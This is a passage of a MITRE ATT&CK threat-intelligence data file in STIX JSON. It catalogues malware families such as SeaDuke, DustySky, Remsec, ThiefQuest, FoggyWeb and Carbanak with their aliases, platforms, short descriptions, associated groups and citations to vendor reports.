December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-04-26T17:40:17.009Z","name":"SeaDuke","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BS2005"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6","type":"malware","created":"2017-05-31T21:32:15.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0014","external_id":"S0014"},{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.638Z","name":"BS2005","description":"[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DustySky","NeD Worm"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","type":"malware","created":"2017-05-31T21:32:41.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0062","url":"https://attack.mitre.org/software/S0062","source_name":"mitre-attack"},{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"url":"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf","description":"ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.","source_name":"DustySky2"},{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2021-04-27T19:53:40.705Z","name":"DustySky","description":"[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Duqu"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--68dca94f-c11d-421e-9287-7c501108e18c","type":"malware","created":"2017-05-31T21:32:31.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0038","external_id":"S0038"},{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. 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(Citation: Symantec W32.Duqu)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Truvasys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0178","external_id":"S0178"},{"source_name":"Truvasys","description":"(Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha","description":"Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.","source_name":"Microsoft Win Defender Truvasys Sep 2017"},{"url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","source_name":"Microsoft NEODYMIUM Dec 2016"},{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. 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(Citation: Kaspersky ProjectSauron Blog)"},{"source_name":"Symantec Strider Blog","description":"Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"},{"source_name":"Kaspersky ProjectSauron Blog","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.","url":"https://securelist.com/faq-the-projectsauron-apt/75533/"}],"modified":"2020-03-28T21:41:25.889Z","name":"Remsec","description":"[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Sykipot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","type":"malware","created":"2017-05-31T21:32:17.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0018","external_id":"S0018"},{"source_name":"Alienvault Sykipot DOD Smart Cards","description":"Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"},{"url":"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments","description":"Blasco, J. (2013, March 21). New Sykipot developments &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Blasco 2013"}],"modified":"2020-05-13T22:58:34.210Z","name":"Sykipot","description":"[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Explosive"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","type":"malware","created":"2021-02-08T21:41:25.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0569","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0569"},{"source_name":"Explosive","description":"(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) "},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-04-27T01:56:35.649Z","name":"Explosive","description":"[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)  ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Xbash"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","type":"malware","created":"2019-01-30T13:28:47.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0341","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0341"},{"source_name":"Xbash","description":"(Citation: Unit42 Xbash Sept 2018)"},{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-06-23T20:41:28.496Z","name":"Xbash","description":"[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Rover"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","type":"malware","created":"2017-05-31T21:32:58.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0090","external_id":"S0090"},{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-17T14:52:20.206Z","name":"Rover","description":"[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Martin Smolár, ESET"],"x_mitre_aliases":["Epic","Tavdig","Wipbot","WorldCupSec","TadjMakhal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","type":"malware","created":"2017-05-31T21:32:58.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0091","external_id":"S0091"},{"source_name":"Epic","description":"(Citation: Kaspersky Turla)"},{"source_name":"Tavdig","description":"(Citation: Kaspersky Turla)"},{"source_name":"Wipbot","description":"(Citation: Kaspersky Turla)"},{"source_name":"WorldCupSec","description":"(Citation: Kaspersky Turla)"},{"source_name":"TadjMakhal","description":"(Citation: Kaspersky Turla)"},{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2020-10-26T14:33:46.159Z","name":"Epic","description":"[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["LightNeuron"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","type":"malware","created":"2019-06-28T13:09:26.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0395","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0395"},{"source_name":"ESET LightNeuron May 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."}],"modified":"2020-03-30T02:59:20.670Z","name":"LightNeuron","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Peppy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","type":"malware","created":"2021-09-07T15:11:17.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0643","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0643"},{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T15:09:54.978Z","name":"Peppy","description":"[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Cuba"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6cd07296-14aa-403d-9229-6343d03d4752","type":"malware","created":"2021-06-18T22:05:58.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0625","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0625"},{"source_name":"Cuba","description":"(Citation: McAfee Cuba April 2021)"},{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:13:50.228Z","name":"Cuba","description":"\n[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DEATHRANSOM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","type":"malware","created":"2021-06-02T15:48:55.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0616","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0616"},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-18T18:28:24.079Z","name":"DEATHRANSOM","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Clambling"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","type":"malware","created":"2021-11-12T20:54:55.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0660","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0660"},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.356Z","name":"Clambling","description":"[Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NanHaiShu"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0228","external_id":"S0228"},{"source_name":"NanHaiShu","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","source_name":"fsecure NanHaiShu July 2016"}],"modified":"2020-06-23T20:05:03.169Z","name":"NanHaiShu","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ThiefQuest","MacRansom.K","EvilQuest"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--727afb95-3d0f-4451-b297-362a43909923","created":"2021-03-19T16:26:04.260Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0595","url":"https://attack.mitre.org/software/S0595"},{"source_name":"ThiefQuest","description":"(Citation: Reed thiefquest fake ransom)"},{"source_name":"EvilQuest","description":"(Citation: Reed thiefquest fake ransom)"},{"source_name":"MacRansom.K","description":"(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)"},{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"SentinelOne EvilQuest Ransomware Spyware 2020","url":"https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/","description":"Phil Stokes. (2020, July 8). “EvilQuest” Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021."},{"source_name":"Reed thiefquest fake ransom","url":"https://blog.malwarebytes.com/detections/osx-thiefquest/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","modified":"2022-04-16T15:01:37.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"ThiefQuest","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Craig Smith, BT Security"],"x_mitre_aliases":["FoggyWeb"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","created":"2021-11-16T14:33:46.321Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0661","url":"https://attack.mitre.org/software/S0661"},{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-15T16:34:44.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"FoggyWeb","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Carbanak","Anunak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","type":"malware","created":"2017-05-31T21:32:22.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0030","external_id":"S0030"},{"source_name":"Carbanak","description":"(Citation: FireEye CARBANAK June 2017)"},{"source_name":"Anunak","description":"(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)"},{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"},{"source_name":"Fox-It Anunak Feb 2015","description":"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.","url":"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"}],"modified":"2021-04-01T16:03:31.574Z","name":"Carbanak","description":"[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["XTunnel","Trojan.Shunnael","X-Tunnel","XAPS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","type":"malware","created":"2017-05-31T21:33:09.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0117","external_id":"S0117"},{"source_name":"XTunnel","description":"(Citation: ESET Sednit Part 2)"},{"source_name":"Trojan.Shunnael","description":"(Citation: Symantec APT28 Oct 2018)"},{"source_name":"X-Tunnel","description":"(Citation: Crowdstrike DNC June 